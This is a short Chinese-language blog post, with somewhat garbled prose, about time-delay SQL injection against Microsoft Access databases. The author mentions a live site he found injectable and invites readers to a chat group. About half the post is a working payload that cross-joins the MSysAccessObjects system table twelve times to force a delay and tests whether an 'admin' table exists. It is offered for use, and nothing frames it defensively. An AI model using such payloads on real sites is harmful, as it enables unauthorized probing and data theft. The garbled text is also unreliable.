ACCESS延时注入

这也总算个新知识吧。前几天赶上个站,实实在在存在注入,不过弄不出字段。本应有能够用方便注入。但是不知晓为什么正是就是弄不出来.

大家要是有兴许能够加ACCESS,学习交流群:281245781 调换一下吧。

Payload:

 (SELECT
count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2,
MSysAccessObjects AS T3, MSysAccessObjects AS T4,MSysAccessObjects AS
T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects
AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects
AS T11,MSysAccessObjects AS T12)>0 and exists(select count(*) from
admin) 

相关文章